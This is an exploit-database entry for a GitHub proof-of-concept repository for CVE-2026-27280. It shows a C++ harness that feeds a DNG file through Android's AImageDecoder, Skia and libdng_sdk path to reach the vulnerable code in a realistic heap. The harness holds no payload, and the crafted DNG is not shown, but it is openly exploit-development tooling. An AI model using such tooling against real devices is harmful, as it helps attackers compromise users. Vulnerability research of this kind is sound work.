Exploit database

GH-b72bf8a065b2fa376d029f4cedd11a24

r3n3r0/cve-2026-27280

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-27280

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files12
r3n3r0/cve-2026-27280Revision e25cb94988d6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

02-poc/poc_aimg.cpp

Suggested starting fileC++ · 1,749 bytes
// Decode a DNG through Android's REAL public image-decode path:
//   AImageDecoder (libjnigraphics) -> Skia SkRawCodec -> libdng_sdk (dng_render)
// This runs the vulnerable code inside a process that has libhwui/Skia loaded,
// i.e. the heap an actual image-viewing component would have.
#include <android/imagedecoder.h>
#include <fcntl.h>
#include <unistd.h>
#include <cstdio>
#include <cstdlib>
#include <cstring>

int main (int argc, char **argv)
	{
	if (argc < 2) { fprintf (stderr, "usage: %s file.dng\n", argv[0]); return 2; }

	int fd = open (argv[1], O_RDONLY);
	if (fd < 0) { perror ("open"); return 2; }

	AImageDecoder *dec = nullptr;
	int rc = AImageDecoder_createFromFd (fd, &dec);
	fprintf (stderr, "[a] AImageDecoder_createFromFd -> %d\n", rc);
	if (rc != ANDROID_IMAGE_DECODER_SUCCESS || !dec) { close (fd); return 1; }

	const AImageDecoderHeaderInfo *info = AImageDecoder_getHeaderInfo (dec);
	int32_t w = AImageDecoderHeaderInfo_getWidth (info);
	int32_t h = AImageDecoderHeaderInfo_getHeight (info);
	const char *mime = AImageDecoderHeaderInfo_getMimeType (info);
	fprintf (stderr, "[a] header: %dx%d mime=%s\n", w, h, mime ? mime : "?");

	size_t stride = AImageDecoder_getMinimumStride (dec);
	size_t size = stride * (size_t) h;
	fprintf (stderr, "[a] decoding into %zu bytes (stride %zu) ...\n", size, stride);

	void *pixels = malloc (size);
	if (!pixels) { fprintf (stderr, "[a] malloc failed\n"); return 3; }

	rc = AImageDecoder_decodeImage (dec, pixels, stride, size);
	fprintf (stderr, "[a] AImageDecoder_decodeImage -> %d %s\n", rc,
		rc == ANDROID_IMAGE_DECODER_SUCCESS ? "(SUCCESS)" : "");

	AImageDecoder_delete (dec);
	free (pixels);
	close (fd);
	fprintf (stderr, "[a] done, process survived\n");
	return 0;
	}